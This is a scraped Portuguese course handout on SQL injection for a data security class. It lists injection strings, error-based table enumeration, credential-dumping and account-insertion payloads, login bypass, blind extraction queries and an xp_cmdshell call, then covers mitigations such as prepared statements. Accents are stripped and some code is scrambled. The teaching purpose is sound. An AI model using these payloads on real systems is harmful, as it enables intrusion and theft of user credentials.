injecao sql - sql injection ii

Download Injecao SQL - SQL Injection II

If you can't read please download the document

Upload: jovennan

Post on 04-Jul-2015

1.021 views

Category:

Documents


50 download

TRANSCRIPT

Instituto Federal de Educao, Cincia e Tecnologia da Paraba Campus de Cajazeiras Curso Superior de Tecnologia em Anlise e Desenvolvimento de Sistemas Disciplina: Segurana de Dados Professor: Daladier Jnior Perodo: 6 - Manh

Aplicaes Web e SQL Injection Atualmente, muitas empresas, os governos e a sociedade em geral dependem muito de aplicaes web. Todas essas aplicaes web so acessadas usando o Internet e, assim, fazer face a riscos associados com o uso da grande rede. Riscos associados com o uso da Internet so evidentes com o aumento do nmero de incidentes registrados nos sites de segurana da Internet. Assim, todos os nossos ativos de informaes importantes esto em risco, com tendncia crescente de invasores para invadir sistemas computacionais [SITE_1]. Manifestos ativos da segurana da informao no uso de vrios tipos de hardware, bem como produtos de software, topologias de rede e configuraes e aplicaes seguras. Agora, os gerentes de TI aceitaram que as aplicaes web personalizadas, que so codificados de forma insegura, representam o maior risco para os dados sensveis. Com melhor desempenho dos servidores de banco de dados a maioria das aplicaes web usam SGBDs. E as aplicaes web permitem que seus usurios vlidos para vender/ editar / visualizar os dados armazenados em SGBDs, atravs da interface codificadas pelos programadores de aplicativos. Tradicionalmente, os programadores foram treinados para escrever cdigos implementando as funcionalidades pretendidas, mas no esto conscientes nos aspectos de segurana, sob vrios aspectos. Portanto, temos interface insegura com os dados mais valiosas armazenadas em SGBDs, devido s vulnerabilidades nas aplicaes web chamada "SQL Injection". Os atacantes se aproveitam da exposio, devido vulnerabilidade de injeo SQL para interagir com servidores SGBDs em SQL (Structured Query Language). Em outras palavras, isso significa que os invasores so capazes de enviar instrues SQL para SGBDS, que os executa e retorna os resultados de volta para o atacante. O risco destes ataques em aplicaes comerciais aumentam, se o aplicativo da web entregue junto com o cdigo fonte ou se uma aplicao open-source. Onde o atacante pode encontrar potenciais declaraes vulnerveis, antes de lanar o ataque, bem como meras falhas de programao ou esquecimento de diretivas de simples de segurana. Este aula centrada na educao dos profissionais de segurana com os riscos associados a esta situao, tentando dar entendimento, sucinto, de vrios tipos de ataques que o invasor poder lanar, alm de um resumo das vrias estratgias que podem ser avaliadas e aprovadas para proteger os ativos de informaes valiosas. 1.1 O que SQL Injection SQL Injection um subconjunto das vulnerabilidades das entradas no verificadas/no sanitizadas dos usurios, a idia convencer o aplicativo a executar o cdigo SQL, o qual no estava previsto. Se o pedido for criar strings SQL ingenuamente na mosca e, em seguida, execut-los, simples para criar algumas surpresas [SITE_2]. As quatro principais categorias de ataques de injeo SQL em bancos de dados, so: 1. Manipulao SQL: Manipulao o processo de modificar os comandos SQL, usando diferentes operaes, como UNIO. Outra forma de execuo do SQL Injection usando o mtodo de manipulao alterar a clusula where de uma instruo SQL, para obter resultados diferentes. 2. Injeo de cdigo: Injeo de cdigo um processo de insero de novas instrues SQL ou comandos de banco de dados, nas instrues SQL vulnerveis. Um dos ataques de injeo de cdigo acrescentar um comando EXECUTE SQL Server, na instrues SQL vulnerveis. Este tipo de ataque s possvel quando vrias instrues SQL por solicitao do banco de dados so

suportados. 3. Injeo em chamadas de funo: Injeo em chamada de funo o processo de insero de vrias chamadas de funo em banco de dados dentro de instrues SQL vulnerveis. Essas chamadas de funo poderiam estar fazendo chamadas ao sistema operacional ou manipular os dados num banco de dados. 4. Estouros de buffer (Buffer Overflow): Buffer overflow causado pelo uso de injeo em chamadas de funo. Para a maioria dos bancos de dados comerciais e open source, as correes esto disponveis. Este tipo de ataque possvel quando o servidor est sem patch. Todas as tecnologias de programao do lado servidor ou outras tecnologias web so suscetveis a este ataque, segue uma lista rpida das tecnologias: JSP, PHP, ASP, JavaScript, XML, XSL, VB, MFC, outras ferramentas e APIs baseadas em ODBC, linguagens baseadas na 3 e 4 gerao, como: C, OCI, Pro* C e COBOL, alm de scripts Perl e CGI ,que acessam bancos de dados Oracle. 2. Deteco da vulnerabilidade da Injeo SQL A deteco de injeo SQL difcil porque ela pode estar presente em qualquer uma das muitas interfaces que o aplicativo apresenta ao usurio e no pode ser facilmente detectvel. Portanto, identificar e corrigir esta vulnerabilidade efetivamente garante verificar cada entrada, que aceita a aplicao do usurio. 2.1 Como descobrir se o aplicativo vulnervel ou no Como mencionado antes, as aplicaes web usam geralmente SGBDS para armazenar as informaes. As informaes so armazenadas / recuperadas em SGBDS com a ajuda de instrues SQL. Um erro comum feito pelos desenvolvedores a utilizao, informaes fornecidas pelo usurio na clusula "Where" de uma instruo SQL ao recuperar a informao. Assim, modificando a clusula 'Where' com condies suplementares para esta clusula vulnervel, onde toda instruo SQL pode ser modificada. A tentativa bem sucedida para alcanar isto pode ser verificada olhando para a sada gerada pelo servidor de banco de dados. Seguindo um exemplo de modificao de uma clusula Where poderia explicar melhor este assunto. Se a URL de uma pgina web : 1. http://www.prey.com/sample.jsp?param1=9 A instruo SQL da aplicao web que usada para recuperar as informaes do banco de dados pode ser parecido com isto: SELECT coluna1, coluna2 FROM tabela1 WHERE param1 = 9. Depois de executar esta consulta no banco de dados retorna os dados em columns1 e column2 para as linhas que satisfazem a condio param1 = 9. Esta informao processada pelo cdigo do lado do servidor, como servlets, etc, e um documento HTML gerado para mostrar as informaes. 2. Para testar a vulnerabilidade do aplicativo da web, o invasor pode alterar a clusula Where, modificando as entradas que o usurio insere, numa URL da seguinte forma. http://www.prey.com/sample.jsp?param1=9 AND 1 = 1 e se o servidor de banco de dados executa a seguinte consulta: SELECT coulmn1, coluna2 FROM tabela1 WHERE param1 = 9 AND 1 = 1. Se essa consulta tambm retorna as mesmas informaes que antes, ento a aplicao est sujeita a injeo de SQL 2.2 Enumerao de consultas com erros de sintaxe Muitos servidores web retornam o erro de sintaxe incorretos, juntamente com a parte da instruo SQL que foi enviada ao servidor de banco de dados para execuo. Esta situao constitui uma oportunidade para o hacker gerar erros ao tentar vrias combinaes de entradas, para obter a

instruo SQL da mensagem de erro. Depois de obter a boa idia sobre a instruo SQL existente como este, o hacker pode tentar outras construes na injeo SQL. Ataques de strings sugeridos so: ' or 0=0 # hi") or ("a"="a Badvalue " or 0=0 # ' or a=a- OR or 0=0 # OR ; ") or ("a"="a 9,9,9 ' or 0=0 -' or 1=1-" or 0=0 -" or 1=1-or 0=0 -or 1=1--

' or 'x'='x " or "x"="x ') or ('x'='x

" or "a"="a ') or ('a'='a

hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a

hi') or ('a'='a

As entradas maliciosas listadas acima podem ou no dar os mesmos resultados. Portanto, interessante tentar todas as entradas. 2.2.1 Analisando o conjunto de resultados Depois de tentar injetar a aspa (') e as combinaes mencionadas ou a tentativa de anexar a condio E sempre verdadeiras, a mensagem retornada precisa ser analisada. Se a mensagem de retorno contm algum tipo de erro de banco de dados, depois de injeo de SQL definitivamente bem-sucedida. No caso no h uma mensagem de erro direta no banco de dados, vale a pena verificar nas pginas anteriores ou nas informaes de cabealho palavras como ODBC, SQL Server, MySQL, etc Todos os locais precisam ser verificadas, incluindo as variveis ocultas. Um aplicativo da web seguro que valida as entradas dos usurios e rejeita tais valores. Assim, cada valor de entrada dos usurios devem causar erros que so manipulados pela aplicao e nenhuma mensagem de erro insinuando falha do comando de banco de dados seriam exibidas para o usurio. Se os erros de banco de dados foram diretamente exibidos para os usurios, que o comportamento padro do ASP / JSP/ PHP, em seguida, o invasor, seria capaz de obter toda a estrutura do banco de dados e ler dados no banco de dados, que a conta do usurio do aplicativo pode potencialmente ler. 3. Mostrando informaes de um Banco de dados 3.1 Conhecendo Tabelas/Colunas de um Banco de Dados Todo atacante tenta obter informaes a respeito do projeto de banco de dados do aplicativo de destino, a fim de garantir a melhor oportunidade em lanar um ataque sistemtico. Vamos supor que h uma pgina ASP usada para o logon de usurio desenvolvida por um programador muito ingnuo, em que no h tratamento personalizado de erro e o atacante descobriu que a pgina aberta para o ataque de injeo SQL, injetando " no campo username. A pgina usa o seguinte comando SQL, para verificar as credenciais dos usurios no banco de dados. Select * from users where username = '"+ Inp_username +"', password = '"+ Inp_password +" "; 3.1.1 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 1 Primeiro, o atacante gostaria de estabelecer os nomes das tabelas que a consulta funciona e os nomes dos campos. Para fazer isso, o atacante usa a clusula "having" da instruo 'select':

Inp_username: 'having 1 = 1 - Isto provoca o seguinte erro: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /mydir/process_login.asp, line 26 So the attacker now knows the table name and column name of the first column in the query. 3.1.2 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 2 Eles podem continuar atravs das colunas introduzindo cada campo dentro de uma clusula 'GROUP BY', como se segue: Inp_username: group by users.id having 1 = 1 -- que produz o erro: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /mydir/process_login.asp, line 26 3.1.3 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 3 Eventualmente, depois de usar a string: ' group by users.username 1 = 1 -- e recebendo a ltima coluna (senha), o atacante chega seguinte concluso: 'Inpusername': 'group by users.id, users.username, users.password, users.privs having 1=1 , que no produz nenhum erro Uma instruo SQL funcionalmente equivalente a: select * from users where username =''. Portanto, o atacante j sabe que a consulta faz referncia apenas a tabela 'users', e est usando as colunas: "username, password, privs, id', nessa ordem. 3.1.4 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 4 Seria til poder determinar os tipos de cada coluna. Isto pode ser conseguido utilizando a mensagem de erro de converso de tipo, como este: union select sum(users.username) from users-Isso leva vantagem do fato que as tentativas de servidor SQL em aplicar a clusula de soma (SUM) antes de determinar se o nmero de campos nos dois conjuntos de linhas igual. A tentativa de calcular a "soma" dos resultados de um campo de texto resulta na mensagem: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /mydir/process_login.asp, line 26

Above

message

gives

us

that

the

'username'

field

has

type

'varchar'.

3.1.5 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 5 Por outro lado, procuramos calcular SUM() de um tipo numrico, temos uma mensagem de erro dizendo que o nmero de campos nos dois conjuntos de linhas no coincidem: Inp_username: ' union select sum(id) from users -Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /mydir/process_login.asp, line 26 Esta tcnica pode ser usada para determinar o tipo de qualquer coluna de uma tabela no banco de dados. Isso permite que o invasor crie uma consulta bem formada de insero, como este: Inp_username: ' ; insert into users values('attacker', 'foobar' , 66,3 ) Permitindo acesso ao atacante: 3.2 Pegando credenciais de outros usurios Desde que o atacante est interessado em nomes de usurios e senhas, que so propensos a ler os nomes de usurio / senhas de uma tabela 'users'. Isso tambm ilustra outro ponto; instrues Transact-SQL podem ser na mesma linha, sem alterar seu significado. O script a seguir ir concatenar os valores: comear declare @ ret varchar (8000) begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo endA declarao acima aps a execuo cria uma tabela 'foo', que contm "ret" a nica coluna, e coloca a nossa seqncia para ele. Normalmente, mesmo um usurio com poucos privilgios ser capaz de criar uma tabela em um simples banco de dados, ou o banco de dados temporrio. O atacante, ento, seleciona a seqncia da tabela, como antes: ret "union select ret,1,1,1 from foo-E ento apaga, deleta ou dropa (em aluso ao DROP) a tabela, desta forma: Inpusername: '; drop table foo-4. Ataques Nesta seo, veremos vrios ataques que exploram essa vulnerabilidade. Existem quatro tipos de ataques de SQL Injection. Vamos ver os ataques de cada tipo nesta seo. Todos estes tipos de injeo de SQL so vlidos para bancos de dados como MS SQL Server, Oracle, DB2, MySQL e PostgreSQL. 4.1 Autorizao by-pass (manipulao SQL) Essa tcnica daria ao atacante o acesso com os privilgios do primeiro usurio no banco de dados. Este ataque poderia ser usado para passar pela tela de logon. A 1. instruo SQL= SELECT SQL Username usada FROM pelo Users aplicativo WHERE : Username=

&strInputUsername&AND Password = &strInputPassword& 2. StrAuthorizationChk = ExecQuery(SQL); 3. If StrAuthorizationChk= then 4. BoolAuthnticated = False; 5. Else 6. BoolAuthenticated = True; 7. EndIf O cdigo acima mostra uma instruo SQL usada para autenticao. Esta instruo SQL tem duas entradas: strInputUsername e strInputPassowrd. Esta consulta tenta encontrar nome de usurio na tabela de usurios que tem coluna Nome com valor igual a strInputUserName e valor na coluna Password igual strInputPassword. Aps a execuo desta instruo na linha 2, se for encontrada uma correspondncia a seqncia StrAuthorizationChk ter o nome de usurio nele. Programa de lgica nas linhas 3 a 7 simplesmente declarar o usurio autenticado ou no. Se no houver a validao da entrada, de modo que nunca depois de uma entrada pode haver quaisquer caracteres. Assim, as entradas podem ser modificados de tal forma que mesmo que no se conhece um usurio vlido e sua senha, ele iria ficar autenticado. Ao introduzir os seguintes valores. Login name : OR = Password : OR = ' Isso vai mudar consulta SQL, da seguinte forma SELECT Username from Users WHERE Username = OR = AND Password = OR = Esta consulta acaba encontrando um usurio, onde Usurio branco ou "=" "nada" ou seja, igual a "nada" que sempre verdadeira e mesmo para password. Desde que a primeira linha da tabela vai satisfazer o critrio da consulta, ela vai ser selecionada. E sem username e senha vlidos poderiam realizar o login. 4.2 Explorando SELECT Para a maior parte na vida real, a injeo de SQL no to simples como o que mostrado acima. A maioria dos atacantes vezes iria ver alguma mensagem de erro e vai ter que fazer engenharia reversa de suas consultas. Para isso preciso saber interpretar as mensagens de erro e como modificar a seqncia de injeo. 4.2.1 Direto vs Marcado (Manipulao SQL) Estes dois tipos de injeo de SQL so diretos ou citados. No ataque direto os dados de entrada se tornam parte da instruo SQL formado pela aplicao. Para manipular as instrues SQL neste tipo o invasor tem que simplesmente adicionar espao ('') e OR para a entrada. Aps a execuo, se a mensagem de erro retornada, em seguida, a injeo foi bem sucedida. Os valores poderiam ser utilizados diretamente na clusula WHERE, como: SQL = "SELECT ttulo, autor, publicao de livros onde ISBN =" & InputISBNNum OU SQL = "SELECT ttulo, autor, publicao de livros de encomendas por" & strInputColumn Todas as outras injees possveis so citadas declaraes SQL. Em injeco citou a cadeia injetou tem um oramento anexado a ela gosta. SQL = "SELECT ttulo, autor, publicao de livros onde ISBN =" strInputISBN & "'" A fim de manipular seqncia da instruo SQL de entrada com xito deve conter uma nica citao 'antes do uso da palavra-chave SQL primeiro e termina em uma declarao WHERE que precisa de aspas simples anexado a ela.

O cdigo que usou estas entradas sem validao est abaixo:{ objDB = getDBManager(); sqlQuery = new StringBuffer("SELECT 1 FROM "); sqlQuery.append(DBTableName.USERINFO); sqlQuery.append(" WHERE USERNAME = '"); sqlQuery.append(userName); sqlQuery.append("' AND PASSWORD = '"); sqlQuery.append(password); sqlQuery.append("'"); }

Depois de executar este ataque o pedido concede ao atacante acesso completo ao aplicativo com o papel de SA como abaixo: 4.2.2 Unio Bsica (Manipulao SQL) A maioria das aplicaes web usam as instrues SELECT para recuperar dados do banco de dados. Tambm em muitas sitaes entradas de usurio se tornariam parte da clusula WHERE das instrues SELECT. Por exemplo: SQL = "SELECT Title, Author, Publishing from Books WHERE ISBN = & strInputISBN & A instruo SQL acima tem uma seqncia strInputISBN do usurio. Numa bsica UNIO SQL o ataque de injeo de comandos SQL a string dar entradas que no iro retornar nenhum resultado para a instruo SQL original, mas ir retornar as linhas do conjunto de resultados da instruo SQL injetado usando UNION ALL. Se na entrada do usurio acima SQL da consulta UNION ALL SELECT Price, Quantity From Pricing_Table WHERE = Como resultado da consulta formada pela aplicao a ser executada no banco de dados ser: SELECT Title, Author, Publishing from Books WHERE ISBN = UNION ALL SELECT Price, Quantity From Pricing_Table WHERE = O servidor de banco de dados tenta buscar atravs da tabela de Books um livro que tem um nmero ISBN em branco, que um caso muito improvvel. Esta consulta original normalmente no retornou nenhum resultado. Depois do banco de dados a segunda instruo SELECT executada, selecionando todos os valores de alguma outra tabela porque a clusula WHERE sempre satisfeita para esta segunda consulta. Posteriormente, a clusula UNION ALL usada, mas no elimina todas as linhas do conjunto de resultados e retorna todas as linhas para o hacker. 4.2.3 Encontrando o papel usando SELECT (Injeo chamada de funo) Muitas empresas liberam notcias para a imprensa (press releases) atravs do seu portal. Normalmente o usurio requisita um comunicado de imprensa em uma URL, ficando assim: http://www.somecompany.com/PressRelase.jsp?PressRealeaseID=5 A instruo SQL utilizada pela aplicao ficaria assim Select title, description, releaseDate, body from pressRelease WHERE pressRelaseID=5 O servidor de banco de dados retorna todas as informaes solicitadas correspondentes quinta notcias liberada imprensa. Esta informao formatada pelo aplicativo em uma pgina HTML e fornecida ao usurio. Se a string injetada 5 e 1 = 1 e a aplicao ainda retorna o mesmo documento, em seguida, a aplicao est sujeita a ataque de injeo SQL. Idealmente um aplicativo usa mtodos como uma declarao preparada teria rejeitado esse valor por causa da incompatibilidade de tipo. Esta vulnerabilidade pode ser explorada para saber se o usurio do aplicativo DBO no banco de

dados, enviando pedido que seria assim Select title, description, releaseDate, body from pressRelease WHERE pressRelaseID=5 AND USER_NAME()=dbo USER_NAME() is MS SQL Server que retorna o nome do usurio atual. Se o usurio atual 'dbo', a pedido do ir avaliar a release verdadeira e a notcia seria mostrada. Caso contrrio a consulta iria falhar e a notcia no seria exibida. 4.2.4 Encontrando a tabela de usurios usando SELECT (Code Injection) No caso do servidor de banco de dados no suportar mltiplas instrues SQL como Oracle. Depois de descobrir informao, tais como tabelas de usurio podemos usar a tcnica a seguir. Continuando com o exemplo acima para identificar um usurio numaa tabela. A URL requisitada ficaria assim: 1. Pegar o primeiro caractere da tabela user Passo 1 http://www.somecompany.com/PressRelase.jsp?PressRealeaseID=5 AND ascii(lower(substring((SELECT TOP 1 name from sysobjects WHERE xtype=U), 1,1)))>109 Est pedindo o nome da tabela do usurio em primeiro lugar no banco de dados. A funo substring ir retornar o primeiro caractere da tabela do usurio retornado pela consulta. A funo lower ir converter os caracteres para letras minsculas. Finalmente ascii () ir retornar o valor ASCII do carcter. Se a aplicao retorna a 5 notcia de imprensa em resposta a essa consulta, em seguida, ns sabemos que a primeira letra da tabela de usurio inicia o primeiro caractere depois de 'm' (ASCII 109) no alfabeto. Fazendo vrias solicitaes, ns podemos determinar o valor ASCII preciso. 2. Pegar primeiro caractere da tabela user Passo 2 http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116 Se nenhum notcia devolvida, o valor ASCII maior que 109, mas no superior a 116. Assim, o caractere est entre "n" (110) e "t" (116). 3. Pegar primeiro caractere da tabela user Passo 3 Ento vamos continuar com nossos esforos para determinar a primeira letra e estreitar ainda mais para baixo: http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 113 Outra afirmao falsa. Sabemos agora que o caractere est entre 110 e 113.

4. Pegar primeiro caractere da tabela user Passo 4 http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 111 Falso novamente. A escala reduzida a duas letras: 'n' e 'o' (110 e 111).

5. Pegar primeiro caractere da tabela user Passo 5 http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) = 111 O servidor retorna a notcia, assim que a afirmao verdadeira! A primeira letra do resultado da consulta (e o nome da tabela) "o." Para recuperar a segunda letra, repita o processo "Conseguir o primeiro caractere da tabela do usurio" passo 1-5, mas alterar o argumento segundo o substring ( ) de modo que o prximo caractere do resultado extrado: (mudar sublinhado (underlined)) http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2 , 1))) > 109 Repita esse processo at que toda a string seja extrada.

4.2.5 Parnteses (manipulao SQL) Se a mensagem de retorno de erro pelo servidor contm um parntese, como neste caso em que a mensagem de erro diz Unclosed quotation (Aspas no fechada) antes da seqncia de caracteres "), Ou uma mensagem de erro pode dizer que est faltando parnteses. Neste caso de ausncia de parnteses, a seqncia de injeo pode precisar conter o parntese na parte ruim de valor e na sua clusula where. Em alguns casos, um ou mais parnteses podem precisar serem adicionados. 4.2.6 Consultas com LIKE (Injeo de cdigo) Muitos desenvolvedores tendem a escrever consultas usando a clusula LIKE. O uso da clusula LIKE se pode adivinhar, vendo % ou LIKE de palavras-chave nas mensagens de erro nos bancos de dados. Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like '%Chairs%' O atacante tenta manipular a instruo SQL para executar como: SELECT product_name FROM all_products WHERE product_name like '%'%' A consulta acima ir substituir a seqncia de entrada Chairs para a consulta e ir procurar todos os registros que tenham uma seqncia de entrada qualquer, com os valores product_name. Se o atacante injeta a seqncia mostrada acima, o atacante se obtm todos os dados sensveis. 4.2.7 Nmero de Coluna Incompatvel (Injeo de cdigo) Ataque usando declarao UNION, como mostrado acima. Portanto, se a consulta original Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like '&Chairs&' " Em seguida, o ataque seria SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9 FROM SysObjects WHERE = A consulta acima daria erros que indicam que no h incompatibilidade no nmero de colunas e seus tipos de dados na unio da tabela sysobjects e as colunas que so especificados usando 9. O erro "Operand type mis-match" se d principalmente porque os dados incompatveis na clusula UNION causou a string injetada. Outro erro que podemos ver "Todas as consultas em uma instruo SQL que contm um operador UNION devem ter um nmero igual de expresses em sua

lista

de

destino"

porque

o

nmero

de

colunas

no

compatvel.

Aps o julgamento de vrios erros e uma declarao LIKE possa vir a suceder. SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9, 9, Text, 9 FROM SysObjects WHERE = Conjunto de resultados da consulta acima ir mostrar todas as linhas na tabela sysobjects e tambm ir mostrar os valores de linha constante para cada linha na tabela sysobjects definida na consulta. 4.2.8 Clusula WHERE adicional (injeo de cdigo) s vezes pode haver mais de uma condio WHERE na instruo SQL que adicionado aps a seqncia de injeo. SELECT firstName, LastName, Title from Employees WHERE City = & strCity & AND Country = INDIA Na primeira tentativa, aps injetar a string, a consulta resultante seria semelhante a: SELECT firstName, LastName, Title from Employees WHERE City = NoSuchCity UNION ALL Select OtherField from OtherTable WHERE 1 = 1 AND Country = USA A consulta acima ir resultar em uma mensagem de erro como esta: Country because OtherTable does not have a column called Country. Para resolver este problema poderia usar um ";--" para se livrar do resto da seqncia de consulta no caso do servidor ser o MS SQL Server. Se o pedido no est usando o MS SQL Server, use as consultas da seo 3.2.3 para obter o mximo como resultado. Se for bem sucedido em encontrar a tabela da qual a coluna na clusula WHERE adicional est, ento adicione a tabela na clusula FROM. 4.2.9 Enumerao do nome da Tabela e do Campo Em caso do MS SQL Server sysobjects armazenar os nomes de todas as tabelas e as informaes armazenadas nas colunas syscolumns correspondentes. Para obter uma lista das tabelas de usurio e colunas correspondentes usam a seguinte consulta SQL: Select name from sysobjects where xtype= U. A consulta acima retornar todas as tabelas definidas pelo usurio que est com xtype = 'U' no banco de dados. Suponha que haja necessidade de descobrir os nomes das colunas da tabela "Orders", em seguida, obter os nomes de coluna correspondente usando a consulta: Select name from syscolumns where id = (select id from sysobjects where name = Orders) 4.3 Explorao de Insero 4.3.1 Fundamentos da Insero Muitos sites, como quadros de avisos, carrinho de compras, o registro do usurio tomam as entradas do usurio e armazen-as e depois os exibe para outros usurios. O que significa, essencialmente, as entradas de usurios so armazenados no backend, utilizando a instruo INSERT. O abuso das declaraes INSERT traz como resultado que atacante adiciona vrias linhas no banco de dados com dados corrompidos. Se o administrador monitora o contedo do banco de dados, ento as inseres podem ser detectadas. Ataques no backend utilizando declaraes INSERT so um pouco diferentes do Select.

4.3.2 Injetando no subselect Normalmente, uma instruo INSERT fica assim: Insert into TableName Values (ValueOne, valueTwo, valueThree); Suponha que a amostra de instruo SQL utilizada pelo aplicativo. INSERT INTO TableName Values ( & strvalueOne & , & strvalueTwo & ) E os valores que so introduzidos pelo usurio so: Name: + (SELECT TOP 1 Fieldname from TableName) + Email: [email protected] Phone: 24042364 A instruo SQL resultante se parece com isso: INSERT INTO tableName values ( + (SELECT TOP 1 Fieldname FROM tableName ) + , [email protected] , 240402364) Onde essa informao exibida para o usurio, geralmente em lugares como pginas onde o usurio tem permisso para editar as informaes. No ataque acima o primeiro valor do FieldName ser exibido no lugar do nome do usurio. Se TOP 1 no for utilizado, haver uma mensagem de erro "subselect retornou muitas linhas". O atacante pode passar por todos os registros usando a clusula NOT IN. 4.4 Explorando Procedimentos armazenados do sistema (Chamada de funo) A maioria dos bancos de dados usam procedimentos armazenados para executar muitas operaes de administrao. Se o atacante for capaz de injetar string SQL com xito, em seguida, o atacante pode explorar esses procedimentos armazenados. O acesso aos procedimentos armazenados depende dos privilgios de acesso do usurio do aplicativo no banco de dados. Na maioria das vezes que um procedimento armazenado executado com xito, no pode haver nenhuma sada na tela como faria no caso de uma instruo SQL normal. Por exemplo: SomeAsp.asp?city=pune; EXEC master.dbo.xp_cmdshell cmd.exe dir c: Sample stored procedure 4.4.1 Xp_cmdshell Xp_cmdshell {command string} { , no_output} Master.dbo.xp_cmdshell recebe um nico argumento, que o comando a ser executado no nvel do servidor SQL do usurio. Isso no vai estar disponvel a menos que o usurio do aplicativo no banco de dados o administrador do sistema. 4.5 Buffer overflow Exemplo de vulnerabilidade no produto, como o MS SQL Server 2000 Um buffer overflow foi relatado no console de comandos (DBCCs) do banco de dados, que vm com o Microsoft SQL Server 7.0/2000. Esse problema pode ser explorado para executar cdigo arbitrrio com os privilgios do processo do SQL Server. Esta vulnerabilidade pode ser explorada por qualquer usurio autenticado SQL. 5. Mitigao

Mitigao de vulnerabilidade de injeo SQL estaria tomando um dos dois caminhos, quer seja atravs de procedimentos armazenados, junto com as declaraes exigvis ou com instrues preparadas com comandos SQL dinmicas. Independentemente da forma como adotada a validao de dados necessria. 5.1 Na validao de entrada 5.1.1 Higienizao de Dados A sanitizao dos dados fundamental. A melhor maneira de higienizar os dados a utilizao de negao por padro de uma expresso regular. A expresso regular a seguir iria retornar apenas letras e nmeros: S/[^0-9a-zA-z//g Escrever filtros especficos. Use nmeros, nmeros e letras tanto quanto possvel. Se houver a necessidade de incluir sinais de pontuao de qualquer natureza, converta-os em HTML e codifique-os. De modo que " torne-se ou "" ou > torne-se ">". Por exemplo, se o usurio est enviando o endereo de e-mail s permitem @,-,. E _ em adio de nmeros e letras para ser usado e s depois de terem sido convertidos para seus substitutos em HTML. 5.2 Uso de instrues preparadas As demonstraes preparadas devem ser utilizadas quando os procedimentos armazenados no podem ser usados por qualquer motivo e comandos SQL dinmicos tm de ser utilizados. Use um PreparedStatement para enviar instrues SQL pr-compilada com um ou mais parmetros. Detentores de lugar do parmetro em uma declarao preparada so representados pelos ? e so chamados de variveis de vinculao. Declaraes preparadas geralmente so imunes a ataques de injeo SQL, o banco de dados ir utilizar o valor da varivel vinculada exclusivamente e no interpretar o contedo da varivel de forma alguma. PL / SQL e JDBC permitem declaraes preparadas. As declaraes preparadas devem ser amplamente utilizadas, tanto por razes de segurana e desempenho. 5.2.1 Como fazer (Java) Criar um objeto PreparedStatement, especificando a definio de modelo e espaos reservados de parmetro. Os dados dos parmetros so inseridos no objeto PreparedStatement chamando seus mtodos de setXXX e especificando o parmetro e seus dados. As instrues SQL e os parmetros so enviados para o banco de dados quando o mtodo chamado executeXXX. Este segmento de cdigo cria um objeto PreparedStatement para selecionar os dados do usurio, com base no endereo de e-mail do usurio. O ponto de interrogao ("?") indica esta afirmao tem um parmetro. PreparedStatement pstmt = con.prepareStatement(select theuser from registration where emailaddress like ?"); //Initialize first parameter with email address pstmt.setString(1, emailAddress); ResultSet results = ps.executeQuery(); Uma vez que o modelo de PreparedStatement inicializado, somente os valores alterados so

inseridos para pstmt.setString(1, anotherEmailAddress);

cada

chamada.

Nota: Nem todos os drivers de banco de dados compilam declaraes preparadas. 5.3 Uso mnimo de privilgios Certifique-se que o usurio de uma aplicao especfica possua direitos mnimos no servidor de banco de dados. Se o usurio do aplicativo no banco de dados utiliza ROOT / SA / dbadmin / dbo no banco de dados, ento, que certamente precisa ser revista se o usurio realmente precisa de uma quantidade de privilgios da aplicao to elevado ou eles podem ser reduzidos. No d a permisso de usurio do aplicativo para acessar o sistema de procedimentos armazenados, que permitem o acesso a esses que so criados pelos usurios. 5.4 Os procedimentos armazenados Para garantir uma aplicao contra injeo de SQL, os desenvolvedores no devem permitir que os dados fornecidos pelo cliente modifiquem a sintaxe das instrues SQL. Na verdade, a melhor proteo isolar a aplicao web, a partir do SQL, completamente. Todos os comandos SQL necessrios para a aplicao devem ser procedimentos armazenados e mantidos no servidor de banco de dados. O aplicativo deve executar os procedimentos armazenados usando uma interface segura, tais como demonstraes mobilizvel do JDBC ou CommandObject do ADO. 5.5 JDBCs CallableStatement Exemplo: CallableStatement cs con.prepareCall ("{call cs.setString (1, cs.setString (2, cs.registerOutParameter (3, cs.executeQuery Data lastlogin = 5.6 Objeto Comando ADO Ao utilizar o objeto de comando, os comandos de banco de dados podem ser emitidos. Estes comandos podem ser, mas no esto limitados a, seqncias de consulta, dispostas em seqncias de consulta, e os parmetros associados com seqncias de consulta. O objeto comando pode abrir uma nova conexo ou usar uma conexo existente para executar consultas. Exemplo de cdigo: (?,?,?)}"); = accountlogin theuser); senha); Types.DATE); (3);

(); cs.getDate

